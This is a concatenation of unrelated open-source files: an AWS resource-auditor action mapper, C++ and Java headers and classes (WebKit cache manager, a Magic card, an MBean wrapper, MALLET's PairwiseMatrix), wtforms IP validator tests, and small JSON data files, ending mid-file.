"""Delete an S3 bucket
This function will try to delete an S3 bucket
Args:
client (:obj:`boto3.session.Session.client`): A boto3 client object
resource (:obj:`Resource`): The resource object to terminate
Returns:
`ActionStatus`
"""
if dbconfig.get('enable_delete_s3_buckets', NS_AUDITOR_REQUIRED_TAGS, False):
client.delete_bucket(Bucket=resource.id)
return ActionStatus.SUCCEED, resource.metrics()
def stop_rds_instance(client, resource):
return operate_rds_instance(client, resource, 'stop')
def terminate_rds_instance(client, resource):
return operate_rds_instance(client, resource, 'terminate')
def operate_rds_instance(client, resource, action):
resource_info = {
'platform': 'AWS',
'accountId': AWSAccount(resource.account).account_number,
'accountName': resource.account.account_name,
'action': action,
'region': resource.location,
'resourceId': resource.instance_name,
'resourceType': 'rds',
'resourceSubType': resource.engine
}
logger.info('Auditor Request Payload: {}'.format(resource_info))
response = client.invoke(
FunctionName=dbconfig.get('action_taker_arn', NS_AUDITOR_REQUIRED_TAGS, ''),
Payload=json.dumps(resource_info).encode('utf-8')
)
response_payload = json.loads(response['Payload'].read().decode('utf-8'))
logger.info('Server Response Payload: {}'.format(response_payload))
if response_payload.get('success'):
return ActionStatus.SUCCEED, response_payload.get('data', {})
else:
return ActionStatus.FAILED, {'message': response_payload.get('message')}
action_mapper = {
'aws_ec2_instance': {
'service_name': 'ec2',
AuditActions.STOP: stop_ec2_instance,
AuditActions.REMOVE: terminate_ec2_instance
},
'aws_s3_bucket': {
'service_name': 's3',
AuditActions.STOP: stop_s3_bucket,
AuditActions.REMOVE: delete_s3_bucket
},
'aws_rds_instance': {
'service_name': 'lambda',
AuditActions.STOP: stop_rds_instance,
AuditActions.REMOVE: terminate_rds_instance
}
}
| 3,733
|
1,210
|
<filename>src/ImgProc/GameRecognize/src/TaskMgr/TaskMessage.h
/*
* Tencent is pleased to support the open source community by making GameAISDK available.
* This source code file is licensed under the GNU General Public License Version 3.
* For full details, please refer to the file "LICENSE.txt" which is provided as part of this source code package.
* Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved.
*/
#ifndef GAME_AI_SDK_IMGPROC_GAMERECOGNIZE_TASKMGR_TASKMESSAGE_H_
#define GAME_AI_SDK_IMGPROC_GAMERECOGNIZE_TASKMGR_TASKMESSAGE_H_
#include <iostream>
#include <map>
#include <memory>
#include <vector>
#include "GameRecognize/src/TaskMgr/TaskDefine.h"
/*!
@class : CTaskMessage
@brief : 任务的消息模块
*/
class CTaskMessage {
public:
CTaskMessage();
virtual ~CTaskMessage();
public:
/*!
* @brief 获取消息句柄
* @param[in] eMsgID 消息类型
* @return 消息句柄
*/
tagCmdMsg *GetInstance(const EAgentMsgID eMsgID);
/*!
* @brief 设置消息类型
* @param[in] eMsgID 消息类型
*/
void SetMsgType(const EAgentMsgID eMsgID);
/*!
* @brief 获取消息类型
*/
EAgentMsgID GetMsgType();
void Release();
private:
/*!
* @brief 创建组任务消息
*/
void CreateGroupMsg();
/*!
* @brief 创建 任务是否关闭消息
*/
void CreateFlagMsg();
/*!
* @brief 创建 增加任务消息
*/
void CreateAddTaskMsg();
/*!
* @brief 创建 删除任务消息
*/
void CreateDelTaskMsg();
/*!
* @brief 创建 改变任务消息
*/
void CreateChgTaskMsg();
/*!
* @brief 创建 配置文件任务消息
*/
void CreateConfTaskMsg();
private:
tagCmdMsg *m_pCmdMsg; // 任务消息指针
EAgentMsgID m_EAgentMsgID; // 消息类型
};
#endif // GAME_AI_SDK_IMGPROC_GAMERECOGNIZE_TASKMGR_TASKMESSAGE_H_
| 980
|
5,964
|
<reponame>wenfeifei/miniblink49<gh_stars>1000+
/*
* Copyright (C) 2013 University of Szeged
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY UNIVERSITY OF SZEGED ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL UNIVERSITY OF SZEGED OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#if USE(CURL)
#include "CurlCacheManager.h"
#include "FileSystem.h"
#include "HTTPHeaderMap.h"
#include "Logging.h"
#include "ResourceHandleClient.h"
#include "ResourceHandleInternal.h"
#include "ResourceRequest.h"
#include <wtf/HashMap.h>
#include <wtf/text/CString.h>
#define IO_BUFFERSIZE 4096
namespace WebCore {
CurlCacheManager& CurlCacheManager::getInstance()
{
static CurlCacheManager instance;
return instance;
}
CurlCacheManager::CurlCacheManager()
: m_disabled(true)
, m_currentStorageSize(0)
, m_storageSizeLimit(52428800) // 50 * 1024 * 1024 bytes
{
// Call setCacheDirectory() to enable the Cache Manager
}
CurlCacheManager::~CurlCacheManager()
{
if (m_disabled)
return;
saveIndex();
}
void CurlCacheManager::setCacheDirectory(const String& directory)
{
m_cacheDir = directory;
if (m_cacheDir.isEmpty()) {
LOG(Network, "Cache Error: Cache location is not set! CacheManager disabled.\n");
m_disabled = true;
return;
}
if (!fileExists(m_cacheDir)) {
if (!makeAllDirectories(m_cacheDir)) {
LOG(Network, "Cache Error: Could not open or create cache directory! CacheManager disabled.\n");
m_disabled = true;
return;
}
}
m_cacheDir.append("/");
m_disabled = false;
loadIndex();
}
void CurlCacheManager::setStorageSizeLimit(size_t sizeLimit)
{
m_storageSizeLimit = sizeLimit;
}
void CurlCacheManager::loadIndex()
{
if (m_disabled)
return;
String indexFilePath(m_cacheDir);
indexFilePath.append("index.dat");
PlatformFileHandle indexFile = openFile(indexFilePath, OpenForRead);
if (!isHandleValid(indexFile)) {
LOG(Network, "Cache Warning: Could not open %s for read\n", indexFilePath.latin1().data());
return;
}
long long filesize = -1;
if (!getFileSize(indexFilePath, filesize)) {
LOG(Network, "Cache Error: Could not get file size of %s\n", indexFilePath.latin1().data());
return;
}
// Load the file content into buffer
Vector<char> buffer;
buffer.resize(filesize);
int bufferPosition = 0;
int bufferReadSize = IO_BUFFERSIZE;
while (filesize > bufferPosition) {
if (filesize - bufferPosition < bufferReadSize)
bufferReadSize = filesize - bufferPosition;
readFromFile(indexFile, buffer.data() + bufferPosition, bufferReadSize);
bufferPosition += bufferReadSize;
}
closeFile(indexFile);
// Create strings from buffer
String headerContent = String(buffer.data(), buffer.size());
Vector<String> indexURLs;
headerContent.split('\n', indexURLs);
buffer.clear();
// Add entries to index
Vector<String>::const_iterator it = indexURLs.begin();
Vector<String>::const_iterator end = indexURLs.end();
if (indexURLs.size() > 1)
--end; // Last line is empty
while (it != end) {
String url = it->stripWhiteSpace();
auto cacheEntry = std::make_unique<CurlCacheEntry>(url, nullptr, m_cacheDir);
if (cacheEntry->isCached() && cacheEntry->entrySize() < m_storageSizeLimit) {
m_currentStorageSize += cacheEntry->entrySize();
makeRoomForNewEntry();
m_LRUEntryList.prependOrMoveToFirst(url);
m_index.set(url, WTF::move(cacheEntry));
} else
cacheEntry->invalidate();
++it;
}
}
void CurlCacheManager::saveIndex()
{
if (m_disabled)
return;
String indexFilePath(m_cacheDir);
indexFilePath.append("index.dat");
deleteFile(indexFilePath);
PlatformFileHandle indexFile = openFile(indexFilePath, OpenForWrite);
if (!isHandleValid(indexFile)) {
LOG(Network, "Cache Error: Could not open %s for write\n", indexFilePath.latin1().data());
return;
}
auto it = m_LRUEntryList.begin();
const auto& end = m_LRUEntryList.end();
while (it != end) {
const CString& urlLatin1 = it->latin1();
writeToFile(indexFile, urlLatin1.data(), urlLatin1.length());
writeToFile(indexFile, "\n", 1);
++it;
}
closeFile(indexFile);
}
void CurlCacheManager::makeRoomForNewEntry()
{
if (m_disabled)
return;
while ((m_currentStorageSize > m_storageSizeLimit) && m_LRUEntryList.size() > 0) {
ASSERT(m_index.find(m_LRUEntryList.last()) != m_index.end());
invalidateCacheEntry(m_LRUEntryList.last());
}
}
void CurlCacheManager::didReceiveResponse(ResourceHandle& job, ResourceResponse& response)
{
if (m_disabled)
return;
ResourceHandleInternal* d = job.getInternal();
if (d->m_cancelled)
return;
const String& url = job.firstRequest().url().string();
removeCacheEntryClient(url, &job);
if (response.source() == ResourceResponseBase::Source::DiskCache) {
readCachedData(url, &job, response);
m_LRUEntryList.prependOrMoveToFirst(url);
}
else if (response.httpStatusCode() == 200) {
auto it = m_index.find(url);
if (it != m_index.end() && (it->value->isLoading() || it->value->hasClients()))
return;
invalidateCacheEntry(url); // Invalidate existing entry on 200
auto cacheEntry = std::make_unique<CurlCacheEntry>(url, &job, m_cacheDir);
bool cacheable = cacheEntry->parseResponseHeaders(response);
if (cacheable) {
cacheEntry->setIsLoading(true);
m_LRUEntryList.prependOrMoveToFirst(url);
m_index.set(url, WTF::move(cacheEntry));
saveResponseHeaders(url, response);
}
} else
invalidateCacheEntry(url);
}
void CurlCacheManager::didFinishLoading(ResourceHandle& job)
{
if (m_disabled)
return;
const String& url = job.firstRequest().url().string();
auto it = m_index.find(url);
if (it != m_index.end())
it->value->didFinishLoading();
}
bool CurlCacheManager::isCached(const String& url) const
{
if (m_disabled)
return false;
auto it = m_index.find(url);
if (it != m_index.end())
return it->value->isCached() && !it->value->isLoading();
return false;
}
HTTPHeaderMap& CurlCacheManager::requestHeaders(const String& url)
{
ASSERT(isCached(url));
return m_index.find(url)->value->requestHeaders();
}
bool CurlCacheManager::getCachedResponse(const String& url, ResourceResponse& response)
{
auto it = m_index.find(url);
if (it != m_index.end()) {
it->value->setResponseFromCachedHeaders(response);
return true;
}
return false;
}
void CurlCacheManager::didReceiveData(ResourceHandle& job, const char* data, size_t size)
{
if (m_disabled)
return;
const String& url = job.firstRequest().url().string();
auto it = m_index.find(url);
if (it != m_index.end()) {
if (it->value->getJob() != &job)
return;
if (!it->value->saveCachedData(data, size))
invalidateCacheEntry(url);
else {
m_currentStorageSize += size;
m_LRUEntryList.prependOrMoveToFirst(url);
makeRoomForNewEntry();
}
}
}
void CurlCacheManager::saveResponseHeaders(const String& url, ResourceResponse& response)
{
if (m_disabled)
return;
auto it = m_index.find(url);
if (it != m_index.end())
if (!it->value->saveResponseHeaders(response))
invalidateCacheEntry(url);
}
void CurlCacheManager::invalidateCacheEntry(const String& url)
{
if (m_disabled)
return;
auto it = m_index.find(url);
if (it != m_index.end()) {
if (m_currentStorageSize < it->value->entrySize())
m_currentStorageSize = 0;
else
m_currentStorageSize -= it->value->entrySize();
it->value->invalidate();
m_index.remove(url);
}
m_LRUEntryList.remove(url);
}
void CurlCacheManager::didFail(ResourceHandle &job)
{
const String& url = job.firstRequest().url().string();
invalidateCacheEntry(url);
}
void CurlCacheManager::addCacheEntryClient(const String& url, ResourceHandle* job)
{
if (m_disabled)
return;
auto it = m_index.find(url);
if (it != m_index.end())
it->value->addClient(job);
}
void CurlCacheManager::removeCacheEntryClient(const String& url, ResourceHandle* job)
{
if (m_disabled)
return;
auto it = m_index.find(url);
if (it != m_index.end())
it->value->removeClient(job);
}
void CurlCacheManager::readCachedData(const String& url, ResourceHandle* job, ResourceResponse& response)
{
if (m_disabled)
return;
auto it = m_index.find(url);
if (it != m_index.end()) {
it->value->setResponseFromCachedHeaders(response);
m_LRUEntryList.prependOrMoveToFirst(url);
if (!it->value->readCachedData(job))
invalidateCacheEntry(url);
}
}
}
#endif
| 4,072
|
16,461
|
<filename>ios/versioned-react-native/ABI43_0_0/ReactNative/ReactCommon/react/renderer/components/picker/iospicker/ABI43_0_0primitives.h
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#pragma once
#include <ABI43_0_0React/ABI43_0_0renderer/graphics/Color.h>
#include <string>
namespace ABI43_0_0facebook {
namespace ABI43_0_0React {
struct PickerItemsStruct {
std::string label;
std::string value;
SharedColor textColor;
bool operator==(const PickerItemsStruct &rhs) const {
return (
label == rhs.label && value == rhs.value && textColor == rhs.textColor);
}
};
} // namespace ABI43_0_0React
} // namespace ABI43_0_0facebook
| 289
|
832
|
<gh_stars>100-1000
package com.litesuits.http.parser;
import com.litesuits.http.log.HttpLog;
import java.io.*;
/**
* @author MaTianyu
* @date 2015-04-26
*/
public abstract class FileCacheableParser<T> extends DataParser<T> {
protected File file;
public FileCacheableParser() {
}
public FileCacheableParser(File saveToFile) {
this.file = saveToFile;
}
public final T readFromDiskCache(File file) throws IOException {
data = parseDiskCache(file);
return data;
}
/**
* parse local file
*/
protected abstract T parseDiskCache(File file) throws IOException;
@Override
public boolean isMemCacheSupport() {
return false;
}
protected final File streamToFile(InputStream is, long len) throws IOException {
File file = request.getCachedFile();
FileOutputStream fos = null;
try {
File pFile = file.getParentFile();
if (!pFile.exists()) {
boolean mk = pFile.mkdirs();
if (HttpLog.isPrint) {
HttpLog.i(TAG, "keep cache mkdirs result: " + mk + " path:" + pFile.getAbsolutePath());
}
}
fos = new FileOutputStream(file);
byte[] tmp = new byte[buffSize];
int l;
while (!request.isCancelledOrInterrupted() && (l = is.read(tmp)) != -1) {
tmp = translateBytes(tmp);
fos.write(tmp, 0, l);
readLength += l;
notifyReading(len, readLength);
}
if (HttpLog.isPrint) {
HttpLog.i("FileParser", "file len: " + file.length());
}
} finally {
if (fos != null) {
fos.close();
}
}
return file;
}
}
| 880
|
1,471
|
//
// UnusedClass.h
// FUI
//
@interface UnusedClass
@end
| 28
|
348
|
{"nom":"Haironville","circ":"1ère circonscription","dpt":"Meuse","inscrits":476,"abs":274,"votants":202,"blancs":15,"nuls":8,"exp":179,"res":[{"nuance":"UDI","nom":"<NAME>","voix":116},{"nuance":"REM","nom":"<NAME>","voix":63}]}
| 89
|
5,169
|
<gh_stars>1000+
{
"name": "crosswalk-extension-fingerprint",
"version": "1.3",
"summary": "Fingerprint extension is a Crosswalk extension which implements touchID authentication on iOS",
"homepage": "https://github.com/crosswalk-project/ios-extensions-crosswalk/tree/master/extensions/Fingerprint",
"license": {
"type": "BSD",
"file": "LICENSE"
},
"authors": {
"<NAME>": "<EMAIL>"
},
"source": {
"git": "https://github.com/crosswalk-project/ios-extensions-crosswalk.git",
"tag": "1.3"
},
"social_media_url": "https://twitter.com/xwalk_project",
"platforms": {
"ios": "8.1"
},
"module_name": "Fingerprint",
"dependencies": {
"crosswalk-ios": [
"~> 1.2"
]
},
"source_files": "extensions/Fingerprint/Fingerprint/*.{h,m,swift}",
"resources": [
"extensions/Fingerprint/Fingerprint/*.js",
"extensions/Fingerprint/Fingerprint/extensions.plist"
]
}
| 372
|
1,197
|
<filename>tests/validators/test_ipaddress.py<gh_stars>1000+
import pytest
from wtforms.validators import ip_address
from wtforms.validators import ValidationError
@pytest.mark.parametrize("address", ["192.168.127.12", "172.16.31.10", "127.0.0.1"])
def test_ip4address_passes(address, dummy_form, dummy_field):
adr = ip_address()
dummy_field.data = address
adr(dummy_form, dummy_field)
@pytest.mark.parametrize(
"address",
[
"fd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b",
"2001:718:1C01:1111::",
"::1",
"fc00:db20:35b:7399::5",
"fdf8:f53e:61e4::18:1",
],
)
def test_good_ip6address_passes(address, dummy_form, dummy_field):
adr = ip_address(ipv6=True)
dummy_field.data = address
adr(dummy_form, dummy_field)
@pytest.mark.parametrize(
"address",
[
"fd00:a516:7c1b:17cd:6d81:2137:bd2a:2c5b",
"2001:718:1C01:1111::",
"abc.0.0.1",
"abcd:1234::123::1",
"1:2:3:4:5:6:7:8:9",
"abcd::1ffff",
],
)
def test_bad_ip6address_raises(address, dummy_form, dummy_field):
adr = ip_address()
dummy_field.data = address
with pytest.raises(ValidationError):
adr(dummy_form, dummy_field)
@pytest.mark.parametrize(
"address",
[
"147.230.1000.25",
"2001:718::::",
"abc.0.0.1",
"1278.0.0.1",
"127.0.0.abc",
"900.200.100.75",
],
)
def test_bad_ip4address_raises(address, dummy_form, dummy_field):
adr = ip_address(ipv6=True)
dummy_field.data = address
with pytest.raises(ValidationError):
adr(dummy_form, dummy_field)
def test_ip_address_raises_on_bad_init():
"""
IpAddress validator should raise ValueError when ipv6=False and ipv4=False
"""
with pytest.raises(ValueError):
ip_address(ipv4=False, ipv6=False)
| 929
|
351
|
<reponame>iszla/gountries
{"name":{"common":"Kyrgyzstan","official":"Kyrgyz Republic","Native":{"kir":{"common":"Кыргызстан","official":"Кыргыз Республикасы"},"rus":{"common":"Киргизия","official":"Кыргызская Республика"}}},"EuMember":false,"LandLocked":true,"Nationality":"","tld":[".kg"],"Languages":{"kir":"Kyrgyz","rus":"Russian"},"Translations":{"DEU":{"common":"Kirgisistan","official":"Kirgisische Republik"},"FIN":{"common":"Kirgisia","official":"Kirgisian tasavalta"},"ITA":{"common":"Kirghizistan","official":"Kirghizistan"},"JPN":{"common":"キルギス","official":"キルギス共和国"},"POR":{"common":"Quirguistão","official":"República do Quirguistão"},"RUS":{"common":"Киргизия","official":"Кыргызская Республика"}},"currency":["KGS"],"Borders":["CHN","KAZ","TJK","UZB"],"cca2":"KG","cca3":"KGZ","CIOC":"KGZ","CCN3":"417","callingCode":["996"],"InternationalPrefix":"00","region":"Asia","subregion":"Central Asia","Continent":"Asia","capital":"Bishkek","Area":199951,"longitude":"75 00 E","latitude":"41 00 N","MinLongitude":69.333333,"MinLatitude":39.25,"MaxLongitude":80.115833,"MaxLatitude":43.016667,"Latitude":41.46435546875,"Longitude":74.55522155761719}
| 485
|
530
|
/*
* Copyright (c) 2018, 2019, Oracle and/or its affiliates. All rights reserved.
*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* The contents of this file are subject to the terms of either the Universal Permissive License
* v 1.0 as shown at http://oss.oracle.com/licenses/upl
*
* or the following license:
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions
* and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided with
* the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY
* WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.openjdk.jmc.rjmx.internal;
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.concurrent.Callable;
import javax.management.MBeanFeatureInfo;
import javax.management.MBeanOperationInfo;
import javax.management.MBeanParameterInfo;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import org.openjdk.jmc.common.util.TypeHandling;
import org.openjdk.jmc.rjmx.services.IOperation;
import org.openjdk.jmc.rjmx.services.IllegalOperandException;
import org.openjdk.jmc.rjmx.services.internal.AbstractOperation;
import org.openjdk.jmc.rjmx.services.internal.Messages;
import org.openjdk.jmc.rjmx.util.internal.SimpleAttributeInfo;
final class MBeanOperationWrapper extends AbstractOperation<SimpleAttributeInfo> {
private static final String IMPACT = ".vmImpact"; //$NON-NLS-1$
private static final int MAX_DESCRIPTORS = 8;
private static final int MAX_LINE_LENGTH = 100;
private static final String ELLIPSIS_STRING = "..."; //$NON-NLS-1$
private final MBeanServerConnection connection;
private final ObjectName objectName;
private MBeanOperationWrapper(MBeanServerConnection connection, ObjectName objectName, MBeanOperationInfo info) {
super(info.getName(), convertDescription(info), info.getReturnType(), convertArguments(info),
convertImpact(info));
this.connection = connection;
this.objectName = objectName;
}
@Override
public Callable<?> getInvocator(final Object ... argVals) throws IllegalOperandException {
List<SimpleAttributeInfo> params = getSignature();
final StringBuilder argString = new StringBuilder("("); //$NON-NLS-1$
if (argVals.length < params.size()) {
// Argument list is shorter than the signature
throw new IllegalOperandException(params.subList(argVals.length, params.size()));
}
final String[] sig = new String[params.size()];
for (int i = 0; i < params.size(); i++) {
sig[i] = params.get(i).getType();
if (argVals[i] != null) {
argString.append(' ').append(describeValue(argVals[i])).append(',');
} else if (TypeHandling.isPrimitive(sig[i])) {
// Argument value of primitive type is null
IllegalOperandException ex = new IllegalOperandException(params.get(i));
while (++i < params.size()) {
// Check for other attributes with the same error
if (argVals[i] == null && TypeHandling.isPrimitive(params.get(i).getType())) {
ex.addInvalidValue(params.get(i));
}
}
throw ex;
}
}
if (argString.charAt(argString.length() - 1) == ',') {
argString.deleteCharAt(argString.length() - 1);
}
argString.append(" )"); //$NON-NLS-1$
return new Callable<Object>() {
@Override
public Object call() throws Exception {
return connection.invoke(objectName, getName(), argVals, sig);
}
@Override
public String toString() {
return getName() + argString.toString().replace("\n", "\\n").replace("\r", "\\r"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$
}
};
}
static Collection<IOperation> createOperations(
MBeanServerConnection connection, ObjectName objectName, MBeanOperationInfo[] operations) {
List<IOperation> wrappedOperations = new ArrayList<>();
for (MBeanOperationInfo info : operations) {
wrappedOperations.add(new MBeanOperationWrapper(connection, objectName, info));
}
return wrappedOperations;
}
/**
* @return {@code string} if it is not {@code null} and it is not an empty or blank string,
* otherwise {@code defaultString}
*/
private static String asNonNullNorEmptyString(String string, String defaultString) {
return (string != null && string.trim().length() > 0) ? string : defaultString;
}
private static String describeValue(Object o) {
if (o.getClass().isArray()) {
return o.getClass().getComponentType().getName() + "[" + Array.getLength(o) + "]"; //$NON-NLS-1$ //$NON-NLS-2$
} else if (o instanceof String) {
return "\"" + o + "\""; //$NON-NLS-1$ //$NON-NLS-2$
} else {
return o.toString();
}
}
private static OperationImpact convertImpact(MBeanOperationInfo info) {
for (String name : info.getDescriptor().getFieldNames()) {
if (name.endsWith(IMPACT)) {
Object impactField = info.getDescriptor().getFieldValue(name);
if (impactField != null) {
String impact = impactField.toString();
if (impact.startsWith("Low")) { //$NON-NLS-1$
return OperationImpact.IMPACT_LOW;
}
if (impact.startsWith("Medium")) { //$NON-NLS-1$
return OperationImpact.IMPACT_MEDIUM;
}
if (impact.startsWith("High")) { //$NON-NLS-1$
return OperationImpact.IMPACT_HIGH;
}
}
}
}
return OperationImpact.IMPACT_UNKNOWN;
}
private static List<SimpleAttributeInfo> convertArguments(MBeanOperationInfo info) {
MBeanParameterInfo[] sign = info.getSignature();
List<SimpleAttributeInfo> signature = new ArrayList<>(sign.length);
for (MBeanParameterInfo paramInfo : sign) {
// Use name primarily. Use description as name only if name is null or empty.
String name = asNonNullNorEmptyString(paramInfo.getName(),
asNonNullNorEmptyString(paramInfo.getDescription(), "")); //$NON-NLS-1$
signature.add(new SimpleAttributeInfo(name, paramInfo.getType(), convertDescription(paramInfo)));
}
return signature;
}
private static String convertDescription(MBeanFeatureInfo info) {
// FIXME: Building tool tips and descriptors should be unified into a toolkit
StringBuilder sb = new StringBuilder();
if (info.getDescriptor() != null && info.getDescriptor().getFields() != null) {
String[] fields = info.getDescriptor().getFields();
if (fields.length > 0) {
// TODO: This is a workaround to get the descriptors to UI-layer. Should be handled using some adaptive mechanism.
sb.append(Messages.MBeanOperationsWrapper_DESCRIPTOR).append(":\n "); //$NON-NLS-1$
for (int i = 0; i < Math.min(fields.length, MAX_DESCRIPTORS); i++) {
String str = fields[i];
int cur = 0;
int newLine = 0;
while (cur < str.length() && newLine != -1) {
newLine = str.indexOf('\n', cur);
if (newLine == -1) {
sb.append(shorten(str.substring(cur))).append("\n "); //$NON-NLS-1$
} else {
sb.append(shorten(str.substring(cur, newLine))).append("\n "); //$NON-NLS-1$
cur = newLine + 1;
}
}
}
}
}
return shorten(info.getDescription()) + "\n " + sb.toString().trim(); //$NON-NLS-1$
}
private static String shorten(String s) {
if (s == null) {
return ""; //$NON-NLS-1$
} else if (s.length() > MAX_LINE_LENGTH) {
return (s.subSequence(0, MAX_LINE_LENGTH - ELLIPSIS_STRING.length()) + ELLIPSIS_STRING);
} else {
return s;
}
}
}
| 3,053
|
635
|
<reponame>park-sungmoo/Listed-company-news-crawl-and-text-analysis
from Crawler.crawler_nbd import WebCrawlFromNBD
if __name__ == '__main__':
web_crawl_obj = WebCrawlFromNBD(2871,10,ThreadsNum=4,IP="localhost",PORT=27017,dbName='NBD_Stock',\
collectionName="nbd_news_company")
url_lst_withoutNews = web_crawl_obj.coroutine_run() #web_crawl_obj.single_run() #web_crawl_obj.multi_threads_run()
if url_lst_withoutNews != []:
print(' -------------------- Re-Crawl News List Pages -------------------- ')
url_lst_withoutArticles, title_lst_withoutArticles = web_crawl_obj.ReCrawlNews(url_lst_withoutNews)
if url_lst_withoutArticles != [] or title_lst_withoutArticles != []:
print(' -------------------- Re-Crawl Article Pages -------------------- ')
web_crawl_obj.ReCrawlArticles(url_lst_withoutArticles,title_lst_withoutArticles)
| 344
|
1,444
|
package mage.cards.c;
import mage.abilities.Ability;
import mage.abilities.common.EntersBattlefieldTriggeredAbility;
import mage.abilities.common.SimpleStaticAbility;
import mage.abilities.effects.Effect;
import mage.abilities.effects.common.AttachEffect;
import mage.abilities.effects.common.DrawCardSourceControllerEffect;
import mage.abilities.effects.common.continuous.BoostEnchantedEffect;
import mage.abilities.effects.common.continuous.GainAbilityAttachedEffect;
import mage.abilities.keyword.EnchantAbility;
import mage.abilities.keyword.FlyingAbility;
import mage.cards.CardImpl;
import mage.cards.CardSetInfo;
import mage.constants.*;
import mage.target.TargetPermanent;
import mage.target.common.TargetControlledCreaturePermanent;
import java.util.UUID;
/**
*
* @author fireshoes
*/
public final class CartoucheOfKnowledge extends CardImpl {
public CartoucheOfKnowledge(UUID ownerId, CardSetInfo setInfo) {
super(ownerId, setInfo, new CardType[]{CardType.ENCHANTMENT}, "{1}{U}");
this.subtype.add(SubType.AURA, SubType.CARTOUCHE);
// Enchant creature you control
TargetPermanent auraTarget = new TargetControlledCreaturePermanent();
this.getSpellAbility().addTarget(auraTarget);
this.getSpellAbility().addEffect(new AttachEffect(Outcome.BoostCreature));
Ability ability = new EnchantAbility(auraTarget.getTargetName());
this.addAbility(ability);
// When Cartouche of Knowledge enters the battlefield, draw a card.
this.addAbility(new EntersBattlefieldTriggeredAbility(new DrawCardSourceControllerEffect(1)));
// Enchanted creature gets +1/+1 and has flying.
ability = new SimpleStaticAbility(Zone.BATTLEFIELD, new BoostEnchantedEffect(1, 1, Duration.WhileOnBattlefield));
Effect effect = new GainAbilityAttachedEffect(FlyingAbility.getInstance(), AttachmentType.AURA);
effect.setText("and has flying");
ability.addEffect(effect);
this.addAbility(ability);
}
private CartoucheOfKnowledge(final CartoucheOfKnowledge card) {
super(card);
}
@Override
public CartoucheOfKnowledge copy() {
return new CartoucheOfKnowledge(this);
}
}
| 734
|
654
|
from . import modules, models, utils, data
| 11
|
348
|
<filename>docs/data/leg-t2/053/05302030.json
{"nom":"<NAME>","circ":"2ème circonscription","dpt":"Mayenne","inscrits":252,"abs":129,"votants":123,"blancs":7,"nuls":2,"exp":114,"res":[{"nuance":"LR","nom":"<NAME>","voix":60},{"nuance":"MDM","nom":"<NAME>","voix":54}]}
| 111
|
836
|
<gh_stars>100-1000
package cc.mallet.cluster.util;
import java.io.Serializable;
/**
* 2-D upper-triangular matrix. Used to store pairwise affinity
* scores.
*
* @author "<NAME>" <<EMAIL>>
* @version 1.0
* @since 1.0
*/
public class PairwiseMatrix implements Serializable {
private static final long serialVersionUID = 1L;
double[][] vals;
public PairwiseMatrix (int size) {
vals = new double[size - 1][];
for (int i = 0; i < size - 1; i++) {
vals[i] = new double[size - i - 1];
for (int j = 0; j < vals[i].length; j++)
vals[i][j] = 0.0;
}
}
public void set (int i, int j, double v) {
int[] indices = sort(i, j);
vals[indices[0]][indices[1] - indices[0] - 1] = v;
}
public double get (int i, int j) {
int[] indices = sort(i, j);
return vals[indices[0]][indices[1] - indices[0] - 1];
}
public int length (int i) {
return vals[i].length;
}
private int[] sort (int i, int j) {
int[] ret = new int[2];
if (i < j) {
ret[0] = i;
ret[1] = j;
} else {
ret[0] = j;
ret[1] = i;
}
return ret;
}
public String toString () {
StringBuffer buf = new StringBuffer();
